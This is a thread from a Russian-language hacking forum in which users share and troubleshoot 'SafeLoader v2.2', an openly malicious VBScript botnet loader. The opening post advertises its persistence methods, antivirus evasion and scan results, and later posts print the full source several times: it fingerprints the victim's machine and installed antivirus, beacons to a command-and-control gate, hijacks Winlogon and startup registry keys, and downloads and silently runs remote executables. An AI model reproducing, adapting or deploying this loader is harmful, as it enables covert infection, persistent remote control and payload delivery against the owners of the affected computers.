1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

SafeLoader v2.2 By Scorpio [OPEN SOURCE]

Тема в разделе "DDoS и DoS инструменты | Стрессеры", создана пользователем Pavlovich, 10 июн 2014.

?

Оставь отзыв

Голосование закрыто 17 июн 2014.
  1. Работает Отлично

    50,0%
  2. Не работает

    50,0%
  1. TopicStarter Overlay
    Pavlovich

    Pavlovich

    Регистрация:
    8 янв 2014
    Сообщения:
    309
    Симпатии:
    221
    SafeLoader v2.2
    [OPEN SOURCE]

    [​IMG]

    Coded in VBS (Work in All Windows)

    Easy to Install

    All Traffic is Encrypted

    StartUP with Startup Folders

    StartUP with Regedit

    Startup with Windows Tasks

    GeoLocation with GeoIP

    Download & Execute

    Stable Update

    Full Uninstall

    Small Size (10Kb)

    Easy Cryptable

    Fuck UAC, SandBox and Firewall

    [Info]
    File Name: safe.vbs
    File Size: 9618 Bytes
    Md5 File: 3ea8103435dfd13ad509eb69616ae07d
    Sha1 File: b12be5c4f2ece560b292b8fc56a149b6f838200b
    Scan Date: Sunday, June 8th 2014 | 06:25:23
    Status: Infected
    Report by Level-23.cc
    Result: 4/35
    [Detections]
    AVG Free-Virus found VBS\/Worm
    ArcaVir-Heur.VBS.Generic.23
    Avast-VBS:Bot-A [Trj]
    AntiVir (Avira)-Clean
    BitDefender-Clean
    Clam Antivirus-Clean
    COMODO Internet Security-Clean
    Dr.Web-Clean
    eTrust-Vet-Clean
    F-PROT Antivirus-Clean
    F-Secure Internet Security-Clean
    G Data-Clean
    IKARUS Security-Clean
    Kaspersky Antivirus-Trojan.Script.Suspic.gen
    McAfee-Clean
    MS Security Essentials-Clean
    ESET NOD32-Clean
    Norman-Clean
    Norton Antivirus-Clean
    Panda Security-Clean
    A-Squared-Clean
    Quick Heal Antivirus-Clean
    Solo Antivirus-Clean
    Sophos-Clean
    Trend Micro Internet Security-Clean
    VBA32 Antivirus-Clean
    Zoner AntiVirus-Clean
    Ad-Aware-Clean
    BullGuard-Clean
    FortiClient-Clean
    K7 Ultimate-Clean
    NANO Antivirus-Clean
    Panda CommandLine-Clean
    Twister Antivirus-Clean
    VIPRE-Clean


    Commands:

    Download & Execute First indicates the url to the file, then the name you want to save the file, separated by "::".
    For Example : Please login or register to view links

    Update: Enter the url to the file.
    Uninstall: Do not put anything, if required add a space or whatever you want.


    скачать Please login or register to view links

     
    • Like Like x 2
    Метки:
  2. BloodWolf

    BloodWolf Команда форума

    Регистрация:
    29 май 2012
    Сообщения:
    425
    Симпатии:
    360
    На чем написан ?
     
  3. TopicStarter Overlay
    Pavlovich

    Pavlovich

    Регистрация:
    8 янв 2014
    Сообщения:
    309
    Симпатии:
    221
    как сделать билд
    Dim sGetCommand, sSellObj, sFileSystem
    Dim sHost, sPassword, sDelay
    Dim sName, sAppData, sTemp, sStartupDir
    Dim sBotData, sResponse, sCommand

    Set sGetCommand = CreateObject("Microsoft.XMLHTTP")
    Set sSellObj = WScript.CreateObject("WScript.Shell")
    Set sFileSystem = CreateObject("Scripting.FileSystemObject")

    sHost = "Please login or register to view links"
    sPassword = "Password"
    sDelay = 60000

    sName = WScript.ScriptName
    sStartupDir = sSellObj.SpecialFolders ("Startup") & "\"
    sAllStartupDir = sSellObj.SpecialFolders("AllUsersStartup") & "\"
    sAppData = sSellObj.ExpandEnvironmentStrings("%APPDATA%") & "\"
    sTemp = sSellObj.ExpandEnvironmentStrings("%TEMP%") & "\"

    If Not sFileSystem.FolderExists(sAppData) Then sAppData = sTemp

    Call sInstall
    WScript.Sleep 3000

    Do
    sBotData = HEXEncode(sXOR(sGetID & "::" & sGetOS & "::" & sGetUserPC & "::" & sGetRAM & "::" & sGetAV, sPassword))
    sResponse = sConnect("key=" & sPassword & "&string=" & sBotData, sPassword)
    sResponse = HEXDecode(sResponse)
    sCommand = Split(sResponse, "::")
    If Not sResponse = "" Then
    Select Case sCommand(0)
    Case "downexec"
    Call sDownloader(sCommand(1), sCommand(2))

    Case "update"
    Call sUpdate(sCommand(1))

    Case "uninstall"
    Call sUninstall
    End Select
    End If

    WScript.Sleep sDelay
    Loop

    Function sConnect(sData ,sPass)
    On Error Resume Next

    sGetCommand.Open "POST", sHost, False
    sGetCommand.SetRequestHeader "User-Agent:", sPass
    sGetCommand.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    sGetCommand.SetRequestHeader "Content-Length", Len(sData)
    sGetCommand.Send sData

    sConnect = sGetCommand.ResponseText
    End function

    Function sGetID()
    On Error Resume Next

    Dim sWMI, sCPU

    Set sWMI = GetObject("winmgmts:")

    For Each sCPU in sWMI.InstancesOf("Win32_Processor")
    sGetID = sCPU.ProcessorID
    Next
    End Function

    Function sGetUserPC
    On Error Resume Next

    sGetUserPC = sSellObj.ExpandEnvironmentStrings("%username%") & "@" & sSellObj.ExpandEnvironmentStrings("%computername%")
    End Function

    Function sGetOS
    On Error Resume Next

    Dim sGetOSObj, sFinalOS, sOS

    Set sGetOSObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set sOS = sGetOSObj.ExecQuery ("Select * from Win32_OperatingSystem")

    For Each sFinalOS In sOS
    sGetOS = sFinalOS.Caption
    Next

    If sGetSO = vbNullString Then GetSO = "Unknown"
    End Function

    Function sGetAV
    On Error Resume Next

    Set ObjWMI = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Set sColItems = ObjWMI.execquery("Select * from Win32_OperatingSystem", ,48)

    For Each sObjItem In sColItems
    sVersionStr = Split(sObjItem.version,".")
    Next

    sVersionStr = Split(sColItems.version,".")
    sOsVersion = sVersionStr (0) & "."

    For x = 1 to ubound (sVersionStr)
    sOsVersion = sOsVersion & sVersionStr (i)
    Next

    sOsVersion = eval(sOsVersion)
    If sOsVersion > 6 Then sSecurityCenter = "securitycenter2" Else sSecurityCenter = "securitycenter"

    Set sObjSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sSecurityCenter)
    Set sColAV = sObjSecurityCenter.execquery("Select * From AntiVirusProduct","wql",0)

    For Each sObjAV In sColAV
    sGetAV = sGetAV & sObjAV.DisplayName
    Next

    If sGetAV = "" Then sGetAV = "Unknown"
    End Function

    Function sGetRAM
    On Error Resume Next

    Dim objWMIService, objComputer, colComputer
    Dim strLogonUser, strComputer

    Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")


    For Each objComputer in colComputer
    sGetRAM = Fix(objComputer.TotalPhysicalMemory/(1024*1024)) & "Mb"
    Next

    If sGetRAM = "" Then sGetRAM = "Unknown"
    End Function

    Sub sUpdate(sURL)
    On Error Resume Next

    Dim sFileName, sFileInstall

    sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0)
    sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0)
    sSellObj.RegDelete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"

    sFileSystem.DeleteFile sStartupDir & sName ,True
    sFileSystem.DeleteFile sAllStartupDir & sName ,True
    sMelt(WScript.ScriptFullName)

    sGetCommand.Open "GET", sURL, False
    sGetCommand.Send

    Set sFileInstall = sFileSystem.OpenTextFile(sAppData & sName, 2, False)
    sFileInstall.Write sGetCommand.ResponseText
    sFileInstall.Close

    sSellObj.Run "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34), 0, True

    WScript.Quit
    End Sub

    Sub sDownloader(sDownURL, sFileName)
    On Error Resume Next

    Dim GetResponse, sADODBStream

    Set sGetCommand = CreateObject("MSXML2.XMLHTTP")
    sGetCommand.Open "GET", sDownURL, False
    sGetCommand.Send

    If sGetCommand.Status = 200 Then
    Set sADODBStream = CreateObject("ADODB.Stream")
    sADODBStream.Open
    sADODBStream.Type = 1
    sADODBStream.Write sGetCommand.ResponseBody
    sADODBStream.Position = 0

    If sFileSystem.Fileexists(sTemp & sFileName) Then sFileSystem.DeleteFile sTemp & sFileName

    Set sFileSystem = Nothing

    sADODBStream.SaveToFile sTemp & sFileName
    sADODBStream.Close

    Set sADODBStream = Nothing
    End if

    Set sGetCommand = Nothing

    sSellObj.Run Chr(34) & sTemp & sFileName & Chr(34), 0, True
    End Sub

    Sub sMelt(sFile)
    On Error Resume Next

    Dim sFunction

    sFunction = "Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
    Execute(sFunction)
    End Sub

    Sub sInstall()
    On Error Resume Next

    sSellObj.RegWrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0), "wscript.exe //B " & Chrw(34) & sAppData & sName & Chrw(34)
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0), "wscript.exe //B " & Chrw(34) & sAppData & sName & Chrw(34)
    sSellObj.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0), "wscript.exe //B " & Chrw(34) & sAppData & sName & Chrw(34)
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe, " & "wscript.exe //B " & Chrw(34) & sAppData & sName & Chrw(34)
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe," & "wscript.exe //B " & Chrw(34) & sAppData & sName & Chrw(34)

    If sSellObj.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden") = "1" Then
    sSellObj.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0, "REG_DWORD"
    End If

    sFileSystem.CopyFile WScript.ScriptFullName, sAppData & sName,True
    sFileSystem.CopyFile WScript.ScriptFullName, sStartupDir & sName ,True
    sFileSystem.CopyFile WScript.ScriptFullName, sAllStartupDir & sName ,True

    If Not WScript.ScriptFullName = sAppData & sName Or WScript.ScriptFullName = sStartupDir & sName Then sMelt(WScript.ScriptFullName)
    End Sub

    Sub sUninstall
    On Error Resume Next

    sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0)
    sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split(sName,".")(0)
    sSellObj.RegDelete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"

    sFileSystem.DeleteFile sStartupDir & sName ,True
    sFileSystem.DeleteFile sAllStartupDir & sName ,True
    sMelt(WScript.ScriptFullName)
    WScript.Quit
    End Sub

    Function HEXEncode(xData)
    On Error Resume Next

    Dim iChar, sOutString, sTmpChar

    For iChar = 1 To Len(xData)
    sTmpChar = Hex(Asc(Mid(xData, iChar, 1)))
    If Len(sTmpChar) = 1 Then sTmpChar = "0" & sTmpChar
    sOutString = sOutString & sTmpChar
    Next

    HEXEncode = sOutString
    End Function

    Function HEXDecode(Data)
    On Error Resume Next

    Dim iChar, sOutString, sTmpChar

    For iChar = 1 To Len(Data) Step 2
    sTmpChar = Chr("&H" & Mid(Data, iChar, 2))
    sOutString = sOutString & sTmpChar
    Next

    HEXDecode = sOutString
    End Function

    Function sXOR(sText, sKey)
    On Error Resume Next

    Dim i, s, k

    For i = 1 To Len(sText)
    s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
    Next
    End Function
     
    • Like Like x 1
  4. Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667
    Отстук есть, но прогружать не хочет)
     
  5. TopicStarter Overlay
    Pavlovich

    Pavlovich

    Регистрация:
    8 янв 2014
    Сообщения:
    309
    Симпатии:
    221
    либо это фейк либо на хостинге на который залит exe в файле .htaccess редактируй разрешении на скачивание exe
     
  6. TopicStarter Overlay
    Pavlovich

    Pavlovich

    Регистрация:
    8 янв 2014
    Сообщения:
    309
    Симпатии:
    221



    Dim sGetCommand, sSellObj, sFileSystem
    Dim sHost, sPassword, sDelay
    Dim sName, sAppData, sTemp, sStartupDir
    Dim sBotData, sResponse, sCommand

    Set sGetCommand = CreateObject("Microsoft.XMLHTTP")
    Set sSellObj = WScript.CreateObject("WScript.Shell")
    Set sFileSystem = CreateObject("Scripting.FileSystemObject")

    sHost = "Please login or register to view links"
    sPassword = "DefaultBotPassword"
    sDelay = 6000 '6 секунд (для теста)

    sName = WScript.ScriptName
    sStartupDir = sSellObj.SpecialFolders ("Startup") & "\"
    sAllStartupDir = sSellObj.SpecialFolders("AllUsersStartup") & "\"
    sAppData = sSellObj.ExpandEnvironmentStrings("%APPDATA%") & "\"
    sTemp = sSellObj.ExpandEnvironmentStrings("%TEMP%") & "\"

    If Not sFileSystem.FolderExists(sAppData) Then sAppData = sTemp

    Call sInstall
    WScript.Sleep 3000

    Do
    sBotData = HEXEncode(sXOR(sGetID & "::" & sGetOS & "::" & sGetUserPC & "::" & sGetRAM & "::" & sGetAV, sPassword))
    sResponse = sConnect("key=" & sPassword & "&string=" & sBotData, sPassword)
    sResponse = HEXDecode(sResponse)
    sCommand = Split(sResponse, "::")
    If Not sResponse = "" Then
    Select Case sCommand(0)
    Case "downexec"
    Call sDownloader(sCommand(1))

    Case "update"
    Call sUpdate(sCommand(1))

    Case "uninstall"
    Call sUninstall
    End Select
    End If

    WScript.Sleep sDelay
    Loop

    Function sConnect(sData ,sPass)
    On Error Resume Next

    sGetCommand.Open "POST", sHost, False
    sGetCommand.SetRequestHeader "User-Agent:", sPass
    sGetCommand.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    sGetCommand.SetRequestHeader "Content-Length", Len(sData)
    sGetCommand.Send sData

    sConnect = sGetCommand.ResponseText
    End function

    Function sGetID()
    On Error Resume Next

    Dim sWMI, sCPU

    Set sWMI = GetObject("winmgmts:")

    For Each sCPU in sWMI.InstancesOf("Win32_Processor")
    sGetID = sCPU.ProcessorID
    Next
    End Function

    Function sGetUserPC
    On Error Resume Next

    sGetUserPC = sSellObj.ExpandEnvironmentStrings("%username%") & "@" & sSellObj.ExpandEnvironmentStrings("%computername%")
    End Function

    Function sGetOS
    On Error Resume Next

    Dim sGetOSObj, sFinalOS, sOS

    Set sGetOSObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set sOS = sGetOSObj.ExecQuery ("Select * from Win32_OperatingSystem")

    For Each sFinalOS In sOS
    sGetOS = sFinalOS.Caption
    Next

    If sGetSO = vbNullString Then GetSO = "Unknown"
    End Function

    Function sGetAV
    On Error Resume Next

    Set ObjWMI = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    Set sColItems = ObjWMI.execquery("Select * from Win32_OperatingSystem", ,48)

    For Each sObjItem In sColItems
    sVersionStr = split (sObjItem.version,".")
    Next

    sVersionStr = split (sColItems.version,".")
    sOsVersion = sVersionStr (0) & "."

    For x = 1 to ubound (sVersionStr)
    sOsVersion = sOsVersion & sVersionStr (i)
    Next

    sOsVersion = eval(sOsVersion)
    If sOsVersion > 6 Then sSecurityCenter = "securitycenter2" Else sSecurityCenter = "securitycenter"

    Set sObjSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sSecurityCenter)
    Set sColAV = sObjSecurityCenter.execquery("Select * From AntiVirusProduct","wql",0)

    For Each sObjAV In sColAV
    sGetAV = sGetAV & sObjAV.DisplayName
    Next

    If sGetAV = "" Then sGetAV = "Unknown"
    End Function

    Function sGetRAM
    On Error Resume Next

    Dim objWMIService, objComputer, colComputer
    Dim strLogonUser, strComputer

    Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\.\root\cimv2")
    Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")


    For Each objComputer in colComputer
    sGetRAM = Fix(objComputer.TotalPhysicalMemory/(1024*1024)) & "Mb"
    Next

    If sGetRAM = "" Then sGetRAM = "Unknown"
    End Function

    Sub sUpdate(sURL)
    On Error Resume Next

    Dim sFileName, sFileInstall

    sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
    sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
    sSellObj.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"
    sSellObj.Run "schtasks /end /tn " & sName, 0, False

    sFileSystem.DeleteFile sStartupDir & sName ,True
    sFileSystem.DeleteFile sAllStartupDir & sName ,True
    sMelt(WScript.ScriptFullName)

    sGetCommand.Open "GET", sURL, False
    sGetCommand.Send

    Set sFileInstall = sFileSystem.OpenTextFile(sAppData & sName, 2, False)
    sFileInstall.Write sGetCommand.ResponseText
    sFileInstall.Close

    sSellObj.Run "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34), 0, True

    WScript.Quit

    End Sub


    Sub sDownloader( sPasteID )
    Dim emmd
    Set emmd =WScript.CreateObject("WScript.Shell")
    Dim myPath
    myPath = emmd.ExpandEnvironmentStrings("%Temp%" & "\emmdnkorpkll.EXE")
    Dim i, emmdnko, emmdnkorp, emmdnkorpkl, emmdnkorpklly
    Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set emmdnkorp = CreateObject( "Scripting.FileSystemObject" )
    If emmdnkorp.FolderExists( myPath ) Then
    emmdnkorpklly = emmdnkorp.BuildPath( myPath, Mid( sPasteID, InStrRev( sPasteID, "/" ) + 1 ) )
    ElseIf emmdnkorp.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
    emmdnkorpklly = myPath
    Else
    WScript.Echo "ERROR: Target folder not found."
    Exit Sub
    End If
    Set emmdnko = emmdnkorp.OpenTextFile( emmdnkorpklly, ForWriting, True )
    Set emmdnkorpkl = CreateObject( "WinHttp.WinHttpRequest.5.1" )
    emmdnkorpkl.Open "GET", sPasteID, False
    emmdnkorpkl.Send
    For i = 1 To LenB( emmdnkorpkl.ResponseBody )
    emmdnko.Write Chr( AscB( MidB( emmdnkorpkl.ResponseBody, i, 1 ) ) )
    Next
    emmdnko.Close( )
    Set wshShell = WScript.CreateObject ("WSCript.shell")
    wshshell.run emmd.ExpandEnvironmentStrings("%Temp%" & "\emmdnkorpkll.EXE"), 6, True
    set wshshell = nothing
    End Sub



    Sub sMelt(sFile)
    On Error Resume Next

    Dim sFunction

    sFunction = "Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
    Execute(sFunction)
    End Sub

    Sub sInstall()
    On Error Resume Next

    sSellObj.RegWrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (sName,".")(0), "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34) , "REG_SZ"
    sSellObj.RegWrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (sName,".")(0), "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34) , "REG_SZ"
    sSellObj.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0), "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe, " & "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe," & "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
    sSellObj.Run "schtasks /create /sc ONLOGON /RL HIGHEST /tn " & sName & " /tr " & Chr(34) & sAppData & sName & Chr(34), 0, False

    sFileSystem.CopyFile WScript.ScriptFullName, sAppData & sName,True
    sFileSystem.CopyFile WScript.ScriptFullName, sStartupDir & sName ,True
    sFileSystem.CopyFile WScript.ScriptFullName, sAllStartupDir & sName ,True

    If Not WScript.ScriptFullName = sAppData & sName Or WScript.ScriptFullName = sStartupDir & sName Then sMelt(WScript.ScriptFullName)
    End Sub

    Sub sUninstall
    On Error Resume Next

    sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
    sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
    sSellObj.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
    sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"
    sSellObj.Run "schtasks /end /tn " & sName, 0, False

    sFileSystem.DeleteFile sStartupDir & sName ,True
    sFileSystem.DeleteFile sAllStartupDir & sName ,True
    sMelt(WScript.ScriptFullName)
    WScript.Quit
    End Sub

    Function HEXEncode(xData)
    On Error Resume Next

    Dim iChar, sOutString, sTmpChar

    For iChar = 1 To Len(xData)
    sTmpChar = Hex(Asc(Mid(xData, iChar, 1)))
    If Len(sTmpChar) = 1 Then sTmpChar = "0" & sTmpChar
    sOutString = sOutString & sTmpChar
    Next

    HEXEncode = sOutString
    End Function

    Function HEXDecode(Data)
    On Error Resume Next

    Dim iChar, sOutString, sTmpChar

    For iChar = 1 To Len(Data) Step 2
    sTmpChar = Chr("&H" & Mid(Data, iChar, 2))
    sOutString = sOutString & sTmpChar
    Next

    HEXDecode = sOutString
    End Function

    Function sXOR(sText, sKey)
    On Error Resume Next

    Dim i, s, k

    For i = 1 To Len(sText)
    s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
    Next
    End Function






     
    • Like Like x 2
  7. Apple96

    Apple96

    Регистрация:
    13 апр 2013
    Сообщения:
    416
    Симпатии:
    667

    Качает файл очееень долго, 1мб - примерно, 5-10 мин

    Код:
    Dim sGetCommand, sSellObj, sFileSystem
    Dim sHost, sPassword, sDelay
    Dim sName, sAppData, sTemp, sStartupDir
    Dim sBotData, sResponse, sCommand
     
    Set sGetCommand = CreateObject("Microsoft.XMLHTTP")
    Set sSellObj = WScript.CreateObject("WScript.Shell")
    Set sFileSystem = CreateObject("Scripting.FileSystemObject")
     
    sHost = "http:/4/gate.php"
    sPassword = "DefaultBotPassword"
    sDelay = 6000
     
    sName = WScript.ScriptName
    sStartupDir = sSellObj.SpecialFolders ("Startup") & "\"
    sAllStartupDir = sSellObj.SpecialFolders("AllUsersStartup") & "\"
    sAppData = sSellObj.ExpandEnvironmentStrings("%APPDATA%") & "\"
    sTemp = sSellObj.ExpandEnvironmentStrings("%TEMP%") & "\"
     
    If Not sFileSystem.FolderExists(sAppData) Then sAppData = sTemp
     
    Call sInstall
    WScript.Sleep 3000
     
    Do
        sBotData = HEXEncode(sXOR(sGetID & "::" & sGetOS & "::" & sGetUserPC & "::" & sGetRAM & "::" & sGetAV, sPassword))
        sResponse = sConnect("key=" & sPassword & "&string=" & sBotData, sPassword)
        sResponse = HEXDecode(sResponse)
        sCommand = Split(sResponse, "::")
        If Not sResponse = "" Then
            Select Case sCommand(0)
                Case "downexec"
                    Call sDownloader(sCommand(1))
         
                Case "update"
                    Call sUpdate(sCommand(1))
         
                Case "uninstall"
                    Call sUninstall
            End Select
        End If
     
        WScript.Sleep sDelay
    Loop
     
    Function sConnect(sData ,sPass)
        On Error Resume Next
     
        sGetCommand.Open "POST", sHost, False
        sGetCommand.SetRequestHeader "User-Agent:", sPass
        sGetCommand.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
        sGetCommand.SetRequestHeader "Content-Length", Len(sData)
        sGetCommand.Send sData
     
        sConnect = sGetCommand.ResponseText
    End function
     
    Function sGetID()
        On Error Resume Next
     
        Dim sWMI, sCPU
     
        Set sWMI = GetObject("winmgmts:")
     
        For Each sCPU in sWMI.InstancesOf("Win32_Processor")
            sGetID = sCPU.ProcessorID
        Next
    End Function
     
    Function sGetUserPC
        On Error Resume Next
     
        sGetUserPC = sSellObj.ExpandEnvironmentStrings("%username%") & "@" & sSellObj.ExpandEnvironmentStrings("%computername%")
    End Function
     
    Function sGetOS
        On Error Resume Next
     
        Dim sGetOSObj, sFinalOS, sOS
     
        Set sGetOSObj = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
        Set sOS = sGetOSObj.ExecQuery ("Select * from Win32_OperatingSystem")
     
        For Each sFinalOS In sOS
            sGetOS = sFinalOS.Caption
        Next
     
        If sGetSO = vbNullString Then GetSO = "Unknown"
    End Function
     
    Function sGetAV
        On Error Resume Next
     
        Set ObjWMI = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        Set sColItems = ObjWMI.execquery("Select * from Win32_OperatingSystem", ,48)
     
        For Each sObjItem In sColItems
            sVersionStr = split (sObjItem.version,".")
        Next
     
        sVersionStr = split (sColItems.version,".")
        sOsVersion = sVersionStr (0) & "."
     
        For  x = 1 to ubound (sVersionStr)
            sOsVersion = sOsVersion &  sVersionStr (i)
        Next
     
        sOsVersion = eval(sOsVersion)
        If  sOsVersion > 6 Then sSecurityCenter = "securitycenter2" Else sSecurityCenter = "securitycenter"
     
        Set sObjSecurityCenter = GetObject("winmgmts:\\localhost\root\" & sSecurityCenter)
        Set sColAV = sObjSecurityCenter.execquery("Select * From AntiVirusProduct","wql",0)
     
        For Each sObjAV In sColAV
            sGetAV  = sGetAV  & sObjAV.DisplayName
        Next
     
        If sGetAV  = "" Then sGetAV  = "Unknown"
    End Function
     
    Function sGetRAM
        On Error Resume Next
     
        Dim objWMIService, objComputer, colComputer
        Dim strLogonUser, strComputer
     
        Set objWMIService = GetObject("winmgmts:"& "{impersonationLevel=impersonate}!\\.\root\cimv2")
        Set colComputer = objWMIService.ExecQuery("Select * from Win32_ComputerSystem")
     
     
        For Each objComputer in colComputer
            sGetRAM = Fix(objComputer.TotalPhysicalMemory/(1024*1024)) & "Mb"
        Next
     
        If sGetRAM = "" Then sGetRAM = "Unknown"
    End Function
     
    Sub sUpdate(sURL)
        On Error Resume Next
     
        Dim sFileName, sFileInstall
     
        sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
        sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
        sSellObj.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
        sSellObj.RegWrite  "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
        sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"
        sSellObj.Run "schtasks /end /tn " & sName, 0, False
     
        sFileSystem.DeleteFile sStartupDir & sName ,True
        sFileSystem.DeleteFile sAllStartupDir & sName ,True
        sMelt(WScript.ScriptFullName)
     
        sGetCommand.Open "GET", sURL, False
        sGetCommand.Send
     
        Set sFileInstall =  sFileSystem.OpenTextFile(sAppData & sName, 2, False)
        sFileInstall.Write sGetCommand.ResponseText
        sFileInstall.Close
     
        sSellObj.Run "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34), 0, True
     
        WScript.Quit
     
    End Sub
     
     
    Sub sDownloader( sPasteID )
    Dim emmd
    Set emmd =WScript.CreateObject("WScript.Shell")
        Dim myPath
        myPath = emmd.ExpandEnvironmentStrings("%Temp%" & "\petushki.exe")
        Dim i, oip4rever, oip4reverrp, oip4reverrpkl, oip4reverrpklly
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Set oip4reverrp = CreateObject( "Scripting.FileSystemObject" )
        If oip4reverrp.FolderExists( myPath ) Then
